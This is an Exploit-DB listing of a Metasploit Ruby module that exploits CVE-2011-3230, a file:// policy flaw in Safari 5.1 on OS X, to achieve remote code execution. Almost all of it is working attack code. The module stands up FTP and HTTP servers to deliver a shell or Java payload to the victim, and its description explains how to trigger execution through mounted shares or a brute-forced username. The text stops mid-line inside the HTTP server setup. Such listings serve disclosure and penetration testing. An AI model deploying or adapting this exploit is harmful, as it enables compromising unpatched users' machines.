Exploit-DB #17986
Description: Apple Safari - 'file://' Arbitrary Code Execution (Metasploit)
Type: remote
Platform: osx
Date: 2011-10-17
Author: Metasploit

Exploit:
##
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/service_manager'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Apple Safari file:// Arbitrary Code Execution",
			'Description'    => %q{
					This module exploits a vulnerability found in Apple Safari on OSX platform.
				A policy issue in the handling of file:// URLs may allow arbitrary remote code
				execution under the context of the user.

					In order to trigger arbitrary remote code execution, the best way seems to
				be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
				a fileformat that OSX might automount), and then execute it in /Volumes/[share].
				If there's some kind of bug that leaks the victim machine's current username,
				then it's also possible to execute the payload in /Users/[username]/Downloads/,
				or else bruteforce your way to getting that information.

					Please note that non-java payloads (*.sh extension) might get launched by
				Xcode instead of executing it, in that case please try the Java ones instead.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13967 $",
			'Author'         =>
				[
					'Aaron Sigel',  # Initial discovery
					'sinn3r',       # Metasploit (also big thanks to HD, and bannedit)
				],
			'References'     =>
				[
					['CVE', '2011-3230'],
					['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
					['URL', 'http://support.apple.com/kb/HT5000']
				],
			'Payload'        =>
				{
					'BadChars'    => "",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none",
				},
			'Platform'       => [ 'unix', 'osx', 'java' ],
			'Arch'           => [ ARCH_CMD, ARCH_JAVA ],
			'Targets'        =>
				[
					[ 'Safari 5.1 on OSX',           {} ],
					[ 'Safari 5.1 on OSX with Java', {} ]
				],
			'Privileged'     => true,
			'DisclosureDate' => "Oct 12 2011",  #Blog date
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
				OptPort.new('SRVPORT',   [true, "The local port to use for the FTP server (Do not change)", 21 ]),
				OptPort.new('HTTPPORT',  [true, "The HTTP server port", 80])
			], self.class )
	end


	#
	# Start the FTP aand HTTP server
	#
	def exploit
		# The correct extension name is necessary because that's how the LauncherServices
		# determines how to open the file.
		ext = (target.name =~ /java/i) ? '.jar' : '.sh'
		@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext

		# Start the FTP server
		start_service()
		print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")

		# Create our own HTTP server
		# We will stay in this functino until we manually terminate execution
		start_http()
	end


	#
	# Lookup the right address for the client
	#
	def lookup_lhost(c=nil)
		# Get the source address
		if datastore['SRVHOST'] == '0.0.0.0'
			Rex::Socket.source_address( c || '50.50.50.50')
		else
			datastore['SRVHOST']
		end
	end


	#
	# Override the client connection method and
	# initialize our payload
	#
	def on_client_connect(c)
		r = super(c)
		@state[c][:payload] = regenerate_payload(c).encoded
		r
	end


	#
	# Handle FTP LIST request (send back the directory listing)
	#
	def on_client_command_list(c, arg)
		conn = establish_data_connection(c)
		if not conn
			c.put("425 Can't build data connection\r\n")
			return
		end

		print_status("Data connection setup")
		c.put("150 Here comes the directory listing\r\n")

		print_status("Sending directory list via data connection")
		month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
		m = month_names[Time.now.month-1]
		d = Time.now.day
		y = Time.now.year

		dir = "-rwxr-xr-x 1 ftp ftp              #{@state[c][:payload].length.to_s} #{m} #{d}  #{y} #{@payload_name}\r\n"
		conn.put(dir)
		conn.close

		print_status("Directory sent ok")
		c.put("226 Transfer ok\r\n")

		return
	end


	#
	# Handle the FTP RETR request. This is where we transfer our actual malicious payload
	#
	def on_client_command_retr(c, arg)
		conn = establish_data_connection(c)
		if not conn
			c.put("425 can't build data connection\r\n")
			return
		end

		print_status("Connection for file transfer accepted")
		c.put("150 Connection accepted\r\n")

		# Send out payload
		conn.put(@state[c][:payload])
		conn.close
		return
	end


	#
	# Handle the HTTP request and return a response.  Code borrorwed from:
	# msf/core/exploit/http/server.rb
	#
	def start_http(opts={})
		# Ensture all dependencies are present before initializing HTTP
		use_zlib

		comm = datastore['ListenerComm']
		if (comm.to_s == "local")
			comm = ::Rex::Socket::Comm::Local
		else
			comm = nil
		end

		# Default the server host / port
		opts = {
			'ServerHost' => datastore['SRVHOST'],
			'ServerPort' => datastore['HTTPPORT'],
			'Comm'       => comm
		}.update(opts)

		# Start a new HTTP server
		@http_service = Rex::ServiceManager.start(
			Rex::Proto::Http::Server,
			opts['ServerPort'].to_i,
			opts['ServerHost'],
			datastore['SSL'],
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			},
			opts['Comm'],
			datastore['SSLCert']
		)

		@http_service.server_name = datastore['HTTP::server_name']

		# Default the procedure of the URI to on_request_uri if one isn'